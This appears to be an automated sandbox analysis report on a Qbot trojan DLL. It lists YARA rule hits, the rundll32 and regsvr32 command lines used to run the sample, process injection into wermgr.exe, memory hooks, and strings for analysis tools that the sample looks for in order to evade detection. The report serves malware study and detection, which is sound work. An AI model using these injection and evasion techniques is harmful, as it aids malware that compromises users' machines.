Source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA904A0	0_2_6DA904A0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA9CC86	0_2_6DA9CC86
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA95CF6	0_2_6DA95CF6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA97909	0_2_6DA97909
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA948FC	0_2_6DA948FC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA8F07E	0_2_6DA8F07E
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA8B200	0_2_6DA8B200
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_007435EE	3_2_007435EE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_007429E9	3_2_007429E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_007482A0	3_2_007482A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0074676F	3_2_0074676F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_007463B0	3_2_007463B0

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6DA81730 appears 87 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6DA89CA0 appears 41 times

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0073D538 NtCreateSection,DefWindowProcW,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,lstrlenW,NtUnmapViewOfSection,NtClose,		3_2_0073D538
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0073D9DE GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,		3_2_0073D9DE

Source: diatomaceous.dat.dll.7.dr

Static PE information: No import functions for PE file found

Source: diatomaceous.dat.dll

Binary or memory string: OriginalFilenamegfngfhn sgedrl;fkweklnmgdfw8 vs diatomaceous.dat.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\diatomaceous.dat.dll F892742F6C64A8991337FADDF84FBDB25C43022AC85C8BCC30D47FEBAFEA1D87

Source: diatomaceous.dat.dll.7.dr

Static PE information: Data appended to the last section found

Source: diatomaceous.dat.dll	ReversingLabs: Detection: 73%
Source: diatomaceous.dat.dll	Virustotal: Detection: 77%
Source: diatomaceous.dat.dll	Metadefender: Detection: 44%

Source: diatomaceous.dat.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\diatomaceous.dat.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllRegisterServer
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllUnregisterServer
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\diatomaceous.dat.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\diatomaceous.dat.dll,DllUnregisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\SysWOW64\wermgr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Bwkwui

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winDLL@18/1@0/0

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073E485 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

3_2_0073E485

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073BAF6 CreateToolhelp32Snapshot,Process32First,FindCloseChangeNotification,

3_2_0073BAF6

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1

Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{8BD38B93-62A1-471F-A5AB-B91B963BC96D}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{6A583BDA-7359-43D4-819F-474F9705BF6E}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6064:120:WilError_01
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{6A583BDA-7359-43D4-819F-474F9705BF6E}

Source: diatomaceous.dat.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: y'E:\cpp\out\out\desktop.pdb source: loaddll32.exe, 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.320776013.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.320890751.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.320917782.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, diatomaceous.dat.dll
Source:	Binary string: E:\cpp\out\out\desktop.pdb source: loaddll32.exe, 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.320776013.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.320890751.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.320917782.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, diatomaceous.dat.dll
Source:	Binary string: amstream.pdb source: wermgr.exe, 00000007.00000003.321666613.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.321909283.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.322091592.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: rundll32.exe, 00000004.00000003.307936128.0000000003011000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307949517.000000000301B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307921567.0000000003004000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.320543762.0000000002FDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: rundll32.exe, 00000004.00000003.307936128.0000000003011000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307949517.000000000301B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307921567.0000000003004000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.320543762.0000000002FDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: wermgr.exe, 00000007.00000003.321666613.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.321909283.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.322091592.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp

Source: diatomaceous.dat.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: diatomaceous.dat.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: diatomaceous.dat.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: diatomaceous.dat.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: diatomaceous.dat.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA89B9F push ecx; ret	0_2_6DA89BB2
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0074B066 push ebx; ret	3_2_0074B067
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0074ADB4 push cs; iretd	3_2_0074AE8A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0074AEB6 push cs; iretd	3_2_0074AE8A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0074CB95 push esi; iretd	3_2_0074CB9A

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073EF38 LoadLibraryA,GetProcAddress,

3_2_0073EF38

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\diatomaceous.dat.dll

Source: C:\Windows\SysWOW64\wermgr.exe

File created: C:\Users\user\Desktop\diatomaceous.dat.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 5020 base: 1173C50 value: E9 42 26 E9 FF	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 4768 base: 1173C50 value: E9 42 26 C9 FF	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 4860 base: 1173C50 value: E9 42 26 C9 FF	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wermgr.exe, 00000007.00000003.323039882.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324363967.0000000004D56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEJ
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXEM
Source: wermgr.exe, 00000007.00000003.323039882.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324363967.0000000004D56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXEM
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXER
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXEL
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXEK
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wermgr.exe, 00000007.00000003.323021064.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324329003.0000000004DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: wermgr.exe, 00000007.00000003.601336347.0000000004E12000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.601238980.0000000004E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXE
Source: wermgr.exe, 00000007.00000003.323039882.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324363967.0000000004D56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
